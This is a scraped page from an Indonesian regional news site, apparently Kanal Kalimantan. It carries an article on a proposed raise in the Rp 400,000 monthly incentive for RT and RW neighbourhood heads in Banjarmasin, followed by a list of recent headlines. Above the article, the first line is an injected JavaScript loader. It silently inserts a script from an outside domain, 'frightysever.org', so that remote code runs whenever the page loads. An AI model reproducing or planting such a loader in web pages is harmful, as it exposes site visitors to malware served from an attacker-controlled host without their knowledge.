(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pemerintahan

Insentif RT di Banjarmasin Cuma 400 Ribu, Dewan Inginkan Kenaikan


BANJARMASIN, Pemko Banjarmasin usulkan kenaikan insentif untuk para Ketua Rukun Tetangga (RT) dan Rukun Warga (RW) se Kota Banjarmasin. Usulan Walikota Banjarmasin Ibnu Sina itu terlihat dari draf Raperda perubahan kedua atas Perda Kota Banjarmasin Nomor 23 tahun 2010 tentang pedoman penyelenggaraan lembaga kemasyarakatan RT dan RW di Banjarmasin ke DPRD.

Menanggapi usulan pemerintah kota itu, Anggota DPRD Kota Banjarmasin Aman Fahriansyah mengatakan, kalau mengacu pada Upah Minimum Provinsi (UMP) Kalsel pada 2018 ditetapkan sebesar Rp 2,4 juta, perlu diketahui saat ini RT dan RW sebesar 400 ribu perbulan sangat lah kecil. Wakil rakyat ini pin mengusulkan peningkatan insentif untuk RT dan RW agar mendekati UMP yang ada di Kalsel.

“Terkait dengan arahan Gubernur Kalsel, jadi kami mengusahakan penyusuaian, 400 ribu itu sangatlah kecil dan jauh sekali dari UMP, maka aka dilakukan revisi agar bisa mendekati UMP untuk RT dan RW di kota Banjarmasin,” katanya

Ditambahkan Aman Fahriansyah, pembinaan yang optimal untuk RT dan RW harus mendapatkan kelayakan dan harus tetap diperhatikan, agar bisa melayani masyarakat di lingkungan dengan maksimal.

“Ini juga sebagai bentuk penghargaan serta apresiasi yang begitu besar bagi kerja keras jajaran pengurus RT dan RW. Jadi harus tambahkan giat RT dan RW dalam melayani masyarakat,” ucapnya.

Terkait revisi Perda nomor 23 tahun 2010, DPRD Banjarmasin setuju poin tentang peningkatan insentif bagi RT dan RW, tentunya dengan pertimbangan kemampuan keuangan daerah.

Sementara itu, pengamatan sosial dan perkotaan Musalin AMd menanggapi, usulan revisi kenaikan insentif RT dan RW di kota Seribu Sungai merupakan hal yang sangat ditunggu-tunggu oleh jajaran RT dan RW, karena 400 ribu merupakan nominal yang sangat tidak layak untuk berbicara kesejahteraan seperti sekarang ini.

“Karena selama ini gerak hiruk pikuk masyarakat, seorang RT merupakan pekerjaan yang begitu ribet, harus mengurus ratusan kepala keluarga di suatu lingkup yang memiliki urusan yang beragam. Susah loh jadi RT atau RW sudah ngurus orang banyak, ngurus kampungnya dan belum lagi ngurus keluarganya sendiri,” ungkapnya.

Harapan dengan dinaikannya insentif RT dan RW dapat menjadi semangat baru bagi para pembina desa tersebut agar lebih giat melayani masyarakat yang ada di Kota Banjarmasin. (ammar)

Reporter: Ammar
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Bupati Kapuas Resmikan Kantor Kelurahan Selat Hulu

KANALKALIMANTAN.COM, KUALA KAPUAS - Kantor Kelurahan Selat Hulu yang berlokasi di Jalan Cilik Riwut Gang… Read More

18 menit ago

13 Februari Hari Persatuan Ahli Farmasi Indonesia: Ini Sejarahnya

KANALKALIMANTAN.COM - Insan farmasi di Indonesia setiap tanggal 13 Februari memperingati Hari Persatuan Ahli Farmasi… Read More

3 jam ago

BI Kalsel Selenggarakan SERAMBI 2026, Dukung Kebutuhan Uang Kartal Periode Ramadan dan Idulfitri

KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar kick off… Read More

4 jam ago

KPK Dalami Hubungan Jabatan Kepala KPP Madya Banjarmasin di 12 Perusahaan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More

12 jam ago

Gubernur Muhidin Ingatkan Dana Transfer Pusat Dimanfaatkan Optimal

KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More

13 jam ago

Upaya Mencegah Perkawinan Usia Anak di Balangan

KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More

14 jam ago

This website uses cookies.